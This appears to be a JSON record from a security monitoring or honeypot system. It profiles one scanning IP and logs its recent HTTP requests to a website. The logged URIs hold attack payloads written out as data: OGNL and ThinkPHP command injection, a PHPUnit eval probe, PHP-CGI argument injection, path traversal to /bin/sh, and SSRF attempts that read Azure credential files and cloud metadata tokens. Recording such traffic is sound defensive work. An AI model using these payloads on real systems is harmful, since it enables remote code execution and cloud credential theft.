{"ip":"34.125.161.99","first_seen":"2026-09-08T05:00:28.607Z","last_seen":"2026-09-08T05:03:12.931Z","geo":{"country":"United States","country_code":"US","city":"Las Vegas","asn":"AS396982 Google LLC","isp":"Google LLC","lat":36.1699,"lon":-115.1398},"stats":{"total_events":2593,"ssh_events":0,"http_events":2593,"ssh_failures":0,"http_4xx":1098,"http_5xx":0,"distinct_usernames":0,"distinct_paths":1298,"distinct_source_hosts":1},"behavior_tags":["actor.heavy","probe.404flood"],"event_tags":["client.scraper","client.search-bot","path.long-suspect","probe.actuator","probe.admin","probe.backup","probe.cgi","probe.config","probe.dotenv","probe.dotgit","probe.dotssh","probe.injection","probe.shell","probe.traversal","protocol.no-language"],"recent_events":[{"ts":"2026-09-08T05:03:12.931Z","source":"http","category":"request","severity":"warn","method":"POST","uri":"/geoserver/wfs","status":404,"host_app":"www.ironcat.io","source_host":"ironcat","tags":[]},{"ts":"2026-09-08T05:03:12.893Z","source":"http","category":"request","severity":"warn","method":"GET","uri":"/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22echo%20GSCAN_CF%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D","status":404,"host_app":"www.ironcat.io","source_host":"ironcat","tags":["client.scraper","protocol.no-language"]},{"ts":"2026-09-08T05:03:12.857Z","source":"http","category":"request","severity":"info","method":"GET","uri":"/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22echo%20GSCAN_CF%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/","status":308,"host_app":"www.ironcat.io","source_host":"ironcat","tags":["client.scraper","protocol.no-language"]},{"ts":"2026-09-08T05:03:12.822Z","source":"http","category":"request","severity":"warn","method":"POST","uri":"/","status":404,"host_app":"www.ironcat.io","source_host":"ironcat","tags":[]},{"ts":"2026-09-08T05:03:12.785Z","source":"http","category":"request","severity":"warn","method":"GET","uri":"/index.php?s=/Index/\\think\\app/invokefunction\u0026function=call_user_func_array\u0026vars[0]=system\u0026vars[1][]=echo%20GSCAN_TP","status":404,"host_app":"www.ironcat.io","source_host":"ironcat","tags":[]},{"ts":"2026-09-08T05:03:12.748Z","source":"http","category":"request","severity":"warn","method":"POST","uri":"/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","status":404,"host_app":"www.ironcat.io","source_host":"ironcat","tags":["client.scraper"]},{"ts":"2026-09-08T05:03:12.674Z","source":"http","category":"request","severity":"info","method":"POST","uri":"/?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input","status":200,"host_app":"www.ironcat.io","source_host":"ironcat","tags":["client.scraper"]},{"ts":"2026-09-08T05:03:12.63Z","source":"http","category":"request","severity":"warn","method":"GET","uri":"/cgi-bin/status","status":404,"host_app":"www.ironcat.io","source_host":"ironcat","tags":["probe.cgi"]},{"ts":"2026-09-08T05:03:12.591Z","source":"http","category":"request","severity":"warn","method":"POST","uri":"/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh","status":404,"host_app":"www.ironcat.io","source_host":"ironcat","tags":["probe.shell","probe.cgi"]},{"ts":"2026-09-08T05:03:12.55Z","source":"http","category":"request","severity":"warn","method":"GET","uri":"/proxy?url=file%3A%2F%2F%2Fhome%2Fubuntu%2F.azure%2FaccessTokens.json","status":404,"host_app":"www.ironcat.io","source_host":"ironcat","tags":[]},{"ts":"2026-09-08T05:03:12.519Z","source":"http","category":"request","severity":"warn","method":"GET","uri":"/fetch?url=file%3A%2F%2F%2Fhome%2Fubuntu%2F.azure%2FaccessTokens.json","status":404,"host_app":"www.ironcat.io","source_host":"ironcat","tags":["client.scraper","protocol.no-language"]},{"ts":"2026-09-08T05:03:12.518Z","source":"http","category":"request","severity":"warn","method":"GET","uri":"/proxy?url=file%3A%2F%2F%2Froot%2F.azure%2FaccessTokens.json","status":404,"host_app":"www.ironcat.io","source_host":"ironcat","tags":[]},{"ts":"2026-09-08T05:03:12.515Z","source":"http","category":"request","severity":"warn","method":"GET","uri":"/fetch?url=file%3A%2F%2F%2Froot%2F.azure%2Fcredentials","status":404,"host_app":"www.ironcat.io","source_host":"ironcat","tags":[]},{"ts":"2026-09-08T05:03:12.515Z","source":"http","category":"request","severity":"warn","method":"GET","uri":"/fetch?url=file%3A%2F%2F%2Froot%2F.azure%2FaccessTokens.json","status":404,"host_app":"www.ironcat.io","source_host":"ironcat","tags":[]},{"ts":"2026-09-08T05:03:12.514Z","source":"http","category":"request","severity":"warn","method":"GET","uri":"/proxy?url=file%3A%2F%2F%2Froot%2F.azure%2Fcredentials","status":404,"host_app":"www.ironcat.io","source_host":"ironcat","tags":["client.scraper","protocol.no-language"]},{"ts":"2026-09-08T05:03:12.513Z","source":"http","category":"request","severity":"warn","method":"GET","uri":"/proxy?url=http%3A%2F%2F169.254.169.254%2Fmetadata%2Fidentity%2Foauth2%2Ftoken%3Fapi-version%3D2018-02-01%26resource%3Dhttps%3A%2F%2Fcognitiveservices.azure.com%2F","status":404,"host_app":"www.ironcat.io","source_host":"ironcat","tags":[]},{"ts":"2026-09-08T05:03:12.479Z","source":"http","category":"request","severity":"warn","method":"GET","uri":"/fetch?url=http%3A%2F%2F169.254.169.254%2Fmetadata%2Fidentity%2Foauth2%2Ftoken%3Fapi-version%3D2018-02-01%26resource%3Dhttps%3A%2F%2Fcognitiveservices.azure.com%2F","status":404,"host_app":"www.ironcat.io","source_host":"ironcat","tags":[]},{"ts":"2026-09-08T05:03:12.477Z","source":"http","category":"request","severity":"warn","method":"GET","uri":"/proxy?url=http%3A%2F%2F169.254.169.254%2Fmetadata%2Fidentity%2Foauth2%2Ftoken%3Fapi-version%3D2018-02-01%26resource%3Dhttps%3A%2F%2Fmanagement.azure.com%2F","status":404,"host_app":"www.ironcat.io","source_host":"ironcat","tags":["client.scraper","protocol.no-language"]},{"ts":"2026-09-08T05:03:12.472Z","source":"http","category":"request","severity":"warn","method":"GET","uri":"/proxy?url=http%3A%2F%2Fmetadata.google.internal%2FcomputeMetadata%2Fv1%2Finstance%2Fservice-accounts%2Fdefault%2Ftoken","status":404,"host_app":"www.ironcat.io","source_host":"ironcat","tags":[]},{"ts":"2026-09-08T05:03:12.472Z","source":"http","category":"request","severity":"warn","method":"GET","uri":"/fetch?url=http%3A%2F%2F169.254.169.254%2Fmetadata%2Fidentity%2Foauth2%2Ftoken%3Fapi-version%3D2018-02-01%26resource%3Dhttps%3A%2F%2Fmanagement.azure.com%2F","status":404,"host_app":"www.ironcat.io","source_host":"ironcat","tags":[]},{"ts":"2026-09-08T05:03:12.472Z","source":"http","category":"request","severity":"warn","method":"GET","uri":"/proxy?url=http%3A%2F%2Fmetadata.google.internal%2FcomputeMetadata%2Fv1%2Finstance%2Fservice-accounts%2Fdefault%2Femail","status":404,"host_app":"www.ironcat.io","source_host":"ironcat","tags":[]},{"ts":"2026-09-08T05:03:12.471Z","source":"http","category":"request","severity":"warn","method":"GET","uri":"/fetch?url=http%3A%2F%2Fmetadata.google.internal%2FcomputeMetadata%2Fv1%2Finstance%2Fservice-accounts%2Fdefault%2Femail","status":404,"host_app":"www.ironcat.io","source_host":"ironcat","tags":[]},{"ts":"2026-09-08T05:03:12.441Z","source":"http","category":"request","severity":"warn","method":"GET","uri":"/fetch?url=http%3A%2F%2Fmetadata.google.internal%2FcomputeMetadata%2Fv1%2Finstance%2Fservice-accounts%2Fdefault%2Ftoken","status":404,"host_app":"www.ironcat.io","source_host":"ironcat","tags":["client.scraper","protocol.no-language"]},{"ts":"2026-09-08T05:03:12.438Z","source":"http","category":"request","severity":"warn","method":"GET","uri":"/cgi-bin/fetch?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F","status":404,"host_app":"www.ironcat.io","source_host":"ironcat","tags":["client.scraper","protocol.no-language","probe.cgi"]},{"ts":"2026-09-08T05:03:12.43Z","source":"http","category":"request","severity":"warn","method":"GET","uri":"/cgi-bin/fetch?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F","status":404,"host_app":"www.ironcat.io","source_host":"ironcat","tags":["client.scraper","protocol.no-language","probe.cgi"]}],"generated_at":"2026-09-08T22:43:03.639180794Z"}